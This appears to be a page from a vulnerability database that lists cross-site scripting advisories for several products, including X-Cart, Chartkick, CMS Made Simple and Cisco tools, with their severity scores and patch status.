An issue was discovered in PHP Scripts Mall Investment MLM Software 2.0.2. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Investment Mlm Software
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

X-Cart V5 is vulnerable to XSS via the CategoryFilter2 parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS X Cart
NVD
EPSS 1% CVSS 4.7
MEDIUM POC PATCH This Month

The Chartkick gem through 3.1.0 for Ruby allows XSS. Rated medium severity (CVSS 4.7), this vulnerability is remotely exploitable, no authentication required. Public exploit code available and no vendor patch available.

XSS Chartkick
NVD GitHub
EPSS 8% CVSS 9.0
CRITICAL POC Act Now

Prima Systems FlexAir, Versions 2.3.38 and prior. Rated critical severity (CVSS 9.0), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS RCE Flexair
NVD Exploit-DB
EPSS 1% CVSS 5.4
MEDIUM POC This Month

CMS Made Simple 2.2.10 has XSS via the m1_name parameter in "Add Article" under Content -> Content Manager -> News. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Cms Made Simple
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

A vulnerability in Cisco Industrial Network Director could allow an authenticated, remote attacker to conduct stored cross-site scripting (XSS) attacks. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Cisco Industrial Network Director
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

A vulnerability in the web-based management interface of Cisco Enterprise Chat and Email (ECE) Center could allow an unauthenticated, remote attacker to conduct a cross-site scripting (XSS) attack. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Cisco Enterprise Chat And Email
NVD
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Quick Facts

Typical Severity
MEDIUM
Category
web
Total CVEs
39320

Related CWEs

MITRE ATT&CK

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